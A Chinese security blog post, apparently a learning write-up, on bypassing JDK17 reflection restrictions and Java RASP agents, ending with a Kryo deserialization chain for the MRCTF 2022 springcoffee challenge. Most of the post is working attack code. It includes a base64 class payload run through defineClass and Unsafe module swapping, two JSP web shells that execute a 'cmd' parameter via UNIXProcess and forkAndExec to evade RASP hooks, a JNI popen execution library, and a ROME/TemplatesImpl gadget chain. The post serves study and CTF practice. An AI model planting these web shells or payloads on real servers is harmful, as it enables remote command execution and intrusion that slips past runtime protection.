JDK17绕过反射限制与RASP初探
前言
逛公众号的时候看到的一些接触的很少的东西,顺带着学习学习。
JDK17限制反射
在JDK9
至JDK16
版本之中,Java.*
依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17
之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*
的非公共字段和方法的代码将抛出InaccessibleObjectException
异常。Oracle
给的解释是这种反射的使用对JDK
的安全性和可维护性产生了负面影响。
例子:
package com.example.jdk17bypass.demos;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAthdHRhY2suamF2YQwACgALBwAdDAAeAB8BAARjYWxjDAAgACEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAIgEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAwAIAA4ACwABAAwAAABUAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAgANAAAAFgAFAAAABgAJAAkADAAHAA0ACAAWAAoADwAAAAcAAkwHABAJAAEAEQAAAAIAEg==";
byte[] decode = Base64.getDecoder().decode(payload);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", decode, 0, decode.length);
}
}
Unsafe绕过
JDK11
之前可以利用Unsafe
来调用并加载非public
类
public static void main(String[] args) throws Exception {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAthdHRhY2suamF2YQwACgALBwAdDAAeAB8BAARjYWxjDAAgACEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAIgEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAwAIAA4ACwABAAwAAABUAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAgANAAAAFgAFAAAABgAJAAkADAAHAA0ACAAWAAoADwAAAAcAAkwHABAJAAEAEQAAAAIAEg==";
byte[] decode = Base64.getDecoder().decode(payload);
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineClass("attack",decode,0,decode.length,classLoader,null);
c2.newInstance();
}
但是在JDK11
的时候,Unsafe.defineClass
方法被移除并且默认禁止跨包之间反射调用非公共方法,在JDK11
的时候,依旧可以使用defineAnonymousClass
来触发,因为defineAnonymousClass
没有被删除。
public static void main(String[] args) throws Exception {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAthdHRhY2suamF2YQwACgALBwAdDAAeAB8BAARjYWxjDAAgACEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAIgEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAwAIAA4ACwABAAwAAABUAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAgANAAAAFgAFAAAABgAJAAkADAAHAA0ACAAWAAoADwAAAAcAAkwHABAJAAEAEQAAAAIAEg==";
byte[] decode = Base64.getDecoder().decode(payload);
Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
c2.newInstance();
}
来到JDK17
,以上的两种方法都发现被删除掉了。那么如何绕过这种反射的限制?根据Oracle
的描述,在sun.misc
和sun.reflect
包可供所有JDK版本(包括JDK17)
中的工具和库反射,所以可以利用这里面的依赖中的Unsafe
类来绕过这种限制,Unsafe
是位于sun.misc
包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,拥有了类似C语言指针一样操作内存空间的能力。
因为上图的异常是从checkCanSetAccessible
方法中抛出的,所以查看setAccessible
的处理方法:
通过Reflection.getCallerClass()
获取调用者的类的信息和各种方法,随后将获取到caller
后与ClassLoader
类一同传入到了checkCanSetAccessible
方法中,在checkCanSetAccessible
方法中,会先判断获取到的类信息是否是MethodHandle
,如果是会抛出异常。接着通过getModule()
获取caller
和ClassLoader
的module
,如果它们两个的module
是一致的,就会返回True
MethodHandle
类提供了一种在调用方法时绕过Java语言访问控制和类型检查的方式,可以用来动态调用方法、字段和构造函数。
这里所说的Unsafe
类绕过,就是通过Unsafe
更改当前类通过getModule
获取到的Module
与ClassLoader
的一致,从而完成绕过。
package com.example.jdk17bypass.demos;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String payload = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAthdHRhY2suamF2YQwACgALBwAdDAAeAB8BAARjYWxjDAAgACEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAIgEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAwAIAA4ACwABAAwAAABUAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAgANAAAAFgAFAAAABgAJAAkADAAHAA0ACAAWAAoADwAAAAcAAkwHABAJAAEAEQAAAAIAEg==";
byte[] decode = Base64.getDecoder().decode(payload);
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);
Module baseModule=Object.class.getModule();
Class<?> currentClass= Test.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,baseModule); //更改当前运行类的Module
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", decode, 0, decode.length);
calc.newInstance();
}
}
关于RASP
RASP
全称是Runtime applicaion self-protection
,在2014
念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook
函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件。
目前Java RASP
主要是通过Instrumentation
编写Agent
的形式,在Agent
的premain
和agentmain
中加入检测类一般继承于ClassFileTransformer
,当程序运行进来的时候,通过类中的transform
检测字节码文件中是否有一些敏感的类文件,比如ProcessImpl
等。简单的可以理解为通过Instrumentation
来对JVM
进行实时监控
Instrumentation API 提供了两个核心接口:ClassFileTransformer
和 Instrumentation
。ClassFileTransformer
接口允许开发者在类加载前或类重新定义时对字节码进行转换。Instrumentation 接口则提供了启动时代理和重新定义类的能力
关于所说的Java Agent
会存在premain
和agentmain
两个方法,不同之处在于:
premain
方法:premain
方法是在 Java 虚拟机启动时,在被代理的应用程序加载之前运行的。我们可以在 Agent 中的premain
方法中执行一些初始化操作,并在应用程序启动之前对目标类进行修改。agentmain
方法:agentmain
方法是在 Java 虚拟机已经启动并且应用程序正在运行时,动态地加载一个 Java Agent。通过使用attach API
,我们可以将 Agent 动态地附加到正在运行的 Java 进程上。这样,我们可以在应用程序运行期间对目标类进行修改。
例子:
Agent
类:
import com.example.jrasp.transform.RaspTransformer;
import java.io.UnsupportedEncodingException;
import java.lang.instrument.Instrumentation;
import java.net.URLDecoder;
public class Agent {
public Agent() {
}
protected static String decodeArg(String arg) throws UnsupportedEncodingException {
try {
return URLDecoder.decode(arg, "UTF-16");
} catch (UnsupportedEncodingException var2) {
return URLDecoder.decode(arg, "UTF-8");
}
}
public static void premain(String agentArg, Instrumentation inst) {
try {
RaspTransformer jndiManagerTransformer = new RaspTransformer(inst);
inst.addTransformer(jndiManagerTransformer, true);
jndiManagerTransformer.retransform();
} catch (Throwable var3) {
var3.printStackTrace();
}
}
public static void agentmain(String agentArg, Instrumentation inst) {
try {
RaspTransformer jndiManagerTransformer = new RaspTransformer(inst);
inst.addTransformer(jndiManagerTransformer, true);
jndiManagerTransformer.retransform();
} catch (Throwable var3) {
var3.printStackTrace();
}
}
}
通过Instrumentation API
实现了premain
和agentmain
方法,创建了自定义的RaspTransformer
类,将自定义的类添加进了JVM
转换器列表,用于 Java 类加载过程中对类字节码进行转换,通过retransform
进行二次转换,实现了JVM
启动时和JVM
运行中的检测。
Rasp
类:
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
public class RaspTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static String targetClassName = "java.lang.ProcessImpl";
private static String targetMethodName = "start";
public RaspTransformer(Instrumentation inst) {
this.inst = inst;
}
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.replace("/", ".").equals(targetClassName)) {
System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
CtClass ctClass = null;
CtMethod ctMethod = null;
try {
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod[] var9 = ctClass.getMethods();
int var10 = var9.length;
for(int var11 = 0; var11 < var10; ++var11) {
CtMethod method = var9[var11];
if (method.getName().equals(targetMethodName)) {
ctMethod = method;
break;
}
}
assert ctMethod != null;
ctMethod.insertBefore("return null;");
System.out.println(String.format("Patch %s %s Success!", targetClassName, targetMethodName));
byte[] var18 = ctClass.toBytecode();
return var18;
} catch (Exception var16) {
var16.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return classfileBuffer;
} else {
return classfileBuffer;
}
}
public void retransform() {
Class<?>[] loadedClasses = this.inst.getAllLoadedClasses();
Class[] var2 = loadedClasses;
int var3 = loadedClasses.length;
for(int var4 = 0; var4 < var3; ++var4) {
Class<?> clazz = var2[var4];
if (clazz.getName().replace("/", ".").equals(targetMethodName)) {
System.out.println(String.format("Find Loaded %s %s Method!", targetClassName, targetMethodName));
try {
this.inst.retransformClasses(new Class[]{clazz});
} catch (Throwable var7) {
System.out.println("failed to retransform class " + clazz.getName() + ": " + var7.getMessage());
}
}
}
}
}
retransform
处理:
- 当上面的
premain
或agentmain
检测被触发,会调用retransform
进行字节码转换,它通过调用getAllLoadedClasses
获取当前所有已加载的所有类。 - 遍历获取到的所有类,逐个检查类命名否与静态类名
ProcessImpl
一致,如果一致会调用retransformClasses
进行转换处理 retransformClasses
类实际上最终调用的就是上面的transform
方法
transform
处理:
- 方法接收类加载器(loader)、类名(className)、正在被重新定义的类(classBeingRedefined)、保护域(protectionDomain)和类文件字节数组(classfileBuffer)参数。
- 从
classfileBuffer
获取创建字节数组中的对象并获取该对象的所有方法。 - 通过遍历
classfileBuffer
对象中的所有方法与ProcessImpl
匹配,如果匹配到了敏感的类方法,则在方法中插入返回null
的代码。 - 最终将修改完成的对象转换为字节数组并返回,表示完成对类的转换,并释放
ctClass
对象。
RASP绕过
从上文得知,RASP
主要是通过转换字节码来达到目的,如果设置的检测的方法存在着更底层的方法或者相同层级的不同方法能够达到相同的效果,那么就能完成绕过。比如说上文通过检测processImpl.start
来进行保护,而在Linux
或Mac
系统中,还会存在着UNIXProcess.forkAndExec()
能够达到RCE
的效果。
UNIXProcess
至于如何实例化一个UNIXProcess
,可以从ProcessImpl
中看出来,以下是这个类的源码:
final class ProcessImpl {
private static final sun.misc.JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
private ProcessImpl() {} // Not instantiable
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length-1] = (byte)0;
return result;
}
static Process start(String[] cmdarray,
java.util.Map<String,String> environment,
String dir,
ProcessBuilder.Redirect[] redirects,
boolean redirectErrorStream)
throws IOException
{
assert cmdarray != null && cmdarray.length > 0;
byte[][] args = new byte[cmdarray.length-1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i+1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
byte[] envBlock = ProcessEnvironment.toEnvironmentBlock(environment, envc);
int[] std_fds;
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
try {
if (redirects == null) {
std_fds = new int[] { -1, -1, -1 };
} else {
std_fds = new int[3];
if (redirects[1] == Redirect.PIPE)
std_fds[1] = -1;
else if (redirects[1] == Redirect.INHERIT)
std_fds[1] = 1;
else {
f1 = new FileOutputStream(redirects[1].file(),
redirects[1].append());
std_fds[1] = fdAccess.get(f1.getFD());
}
if (redirects[2] == Redirect.PIPE)
std_fds[2] = -1;
else if (redirects[2] == Redirect.INHERIT)
std_fds[2] = 2;
else {
f2 = new FileOutputStream(redirects[2].file(),
redirects[2].append());
std_fds[2] = fdAccess.get(f2.getFD());
}
}
return new UNIXProcess
(toCString(cmdarray[0]),
argBlock, args.length,
envBlock, envc[0],
toCString(dir),
std_fds,
redirectErrorStream);
} finally {
try { if (f0 != null) f0.close(); }
finally {
try { if (f1 != null) f1.close(); }
finally { if (f2 != null) f2.close(); }
}
}
}
}
UNIXProcess
接收8
个参数,其中envc
是[1]
与std_fds
都是恒为-1的数组,redirectErrorStream
不影响可为false
,args.length
为cmd.length - 1
,至于argBlock
的内容,我们赋值代码照着写即可。
一个jsp的payload:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public InputStream run(String[] strs) throws Exception {
Class clazz = null;
//创建类
try {
clazz = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
clazz = Class.forName("java.lang.ProcessImpl");
}
//获取构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
//照着代码赋值即可
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
//实例化方法
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
//将流转化成字符串输出
String inputStreamToString(InputStream in) throws IOException {
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in);
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
Unsafe+forkAndExec
如果RASP
把UNIXProcess/ProcessImpl
类的构造方法给拦截了,依旧可以绕过,可以直接通过触发forkAndExec
的形式来绕过,因为无论是UNIXProcess
或ProcessImpl
最终触发的方法是forkAndExec
。
在UNIXProcess中可以看到forkAndExec
的参数内容,多出了lanuchMechanism
与helperpath
,其它的参数内容与UNIXProcess
是一致的
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 通过反射构造出
ordinal
和helperpath
参数,并构造出forkAndExec
方法 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null); //通过get方法得到unsafe对象
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);//创建UNIXProcess对象
//原代码
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
//构造forkAndExec需要的参数
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
//从UNIXProcess中得到launchMechanism和Helperpath
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
//反射forkAndExec方法
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
//获取输出内容
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
JNI
JNI
(Java Native Interface)是Java提供的一个用于和本地(Native)代码交互的编程接口。通过JNI
,Java程序可以调用C、C++等本地编程语言编写的函数,并且本地代码也可以调用Java程序中的方法,原本是为了解决Java无法直接访问底层系统资源或者利用本地库的问题,这里也可以用于绕过RASP
。通过JNI
加载dll
动态链接库或动态共享库so
来达到本地执行的效果。
通过JNI
使用dll
例子:
要写一个命令执行的Native
类,将类编译成.class
的形式
public class Command {
public native String exec(String cmd);
}
通过java
命令生成C
语言文件
javac -cp . ./Command.java -h com.example.jdk17bypass.demos.Command
编写C
语言的命令执行文件
#include "com_example_jdk17bypass_demos_Command.h"
#include "jni.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12];
FILE *pipe = popen(cmd, "r");
if (!pipe)
return 0;
while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{
strcat(result, buffer);
}
}
pclose(pipe);
return 1;
}
JNIEXPORT jstring JNICALL Java_com_example_jdk17bypass_demos_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = "";
execmd(cstr, result));
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult;
}
WIndows
安装 gcc
命令指定各种.h
文件的目录对编写好的C
文件编译成dll
文件
gcc -I "C:\Program Files\Java\jdk-17.0.2\include" -I "C:\Program Files\Java\jdk-17.0.2\include\win32" -D__int64="long long" --shared "A:\IDEA\IdeaProjects\jdk17bypass\src\jni.c" -o ./jni.dll
最终通过System.loadLibrary
加载dll
文件即可,这里会从系统环境变量中逐个寻找jni.dll
public static void main(String[] args) {
System.loadLibrary("jni"); //load()指定绝对路径
Command command = new Command();
String ipconfig = command.exec("calc");
System.out.println(ipconfig);
}
具体一些利用脚本等
参考连接:绕过脚本例子
[MRCTF 2022] springcoffee
因为有题目的附件,因此先看题目的docker
附件,看到了它的启动方式是java -javaagent:jrasp.jar
,说明题目是有RASP
限制的。
先看springcoffe.jar
,也就是题目网站构造的源代码,有两个路由
,/coffer/order
通过接收CoffeeRequest
类,进行base64
解码后,使用kyro.readClassAndObject()
进行反序列化。
另一个是coffee/demo
路由,接收json
形式的字符串,进行解析后判断字符串中是否有polish
,然后创建了一个Kry
类,遍历获取了Kryo
所有的set
方法,如果方法名
在json字符串
中并且它的参数类型并步是私有的,就会实例化并且触发这个方法,最下面的代码将一个自定义的Mocha
类通过register
注册了进去,并且进行了序列化。
在/coffee/order
中是接收了参数进行了Kyro
反序列化的,因此这里应当是Kyro
反序列化的打法,Kyro
反序列化与Hessian
原理是相似的,都是基于Field
的反序列化机制,最终都会走到HashMap.put()
方法中,所有与HashCode
等开头的相关链子都可以联系起来,在依赖中存在Jackson
、ROME
、Spring aop
依赖都是可利用的。
根据上面的依赖,这里可以使用的链子我想到的有两条。
kyro#readObject()->hashMap#put()->EqualsBean#hashCode()->toStringBean#toString()->SignedObject#getObject->HashMap#readObject()->EqualsBean#hashCode()->toStringBean#toString()->TemplatesImpl#getOutputProperties()
或者
kyro#readObject()->hashMap#put()->HotSwappableTargetSource#equals()->Xstring#equals()->BaseJsonNode#toString()->templatesImpl#getOutputProperties()
两条链子的payload
如下:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aiwin");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
EqualsBean equalsBean=new EqualsBean(String.class,"111");
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put(equalsBean,"aaa");
setFieldValue(equalsBean,"_beanClass",ToStringBean.class);
setFieldValue(equalsBean,"_obj",toStringBean);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean1=new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean1=new EqualsBean(String.class,"aiwin");
HashMap<Object,Object> hashMap1=new HashMap<>();
hashMap1.put(equalsBean1,"bbb");
setFieldValue(equalsBean1,"_beanClass",ToStringBean.class);
setFieldValue(equalsBean1,"_obj",toStringBean1);
// CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writePlace=ctClass.getDeclaredMethod("writeReplace");
// ctClass.removeMethod(writePlace);
// ctClass.toClass();
// POJONode pojoNode = new POJONode(templates);
// HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);
// HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);
// HashMap hashMap = new HashMap();
// hashMap.put(hotSwappableTargetSource, "1");
// hashMap.put(hotSwappableTargetSource1, "2");
// setFieldValue(hotSwappableTargetSource, "target", pojoNode);
// setFieldValue(hotSwappableTargetSource1, "target", new XString("a"));
//
// KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
// kpg.initialize(1024);
// KeyPair kp = kpg.generateKeyPair();
// SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
// POJONode pojoNode1 = new POJONode(signedObject);
// HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(3);
// HotSwappableTargetSource hotSwappableTargetSource3 = new HotSwappableTargetSource(4);
// HashMap hashMap1 = new HashMap();
// hashMap1.put(hotSwappableTargetSource2, "1");
// hashMap1.put(hotSwappableTargetSource3, "2");
// setFieldValue(hotSwappableTargetSource2, "target", pojoNode1);
// setFieldValue(hotSwappableTargetSource3, "target", new XString("b"));
Kryo kryo=new Kryo();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Output output = new Output(outputStream);
kryo.writeClassAndObject(output, hashMap1);
output.close();
byte[] serializedObject = outputStream.toByteArray();
String base64String = Base64.getEncoder().encodeToString(serializedObject);
System.out.println(base64String);
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(base64String));
Input input = new Input(bas);
kryo.readClassAndObject(input);
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
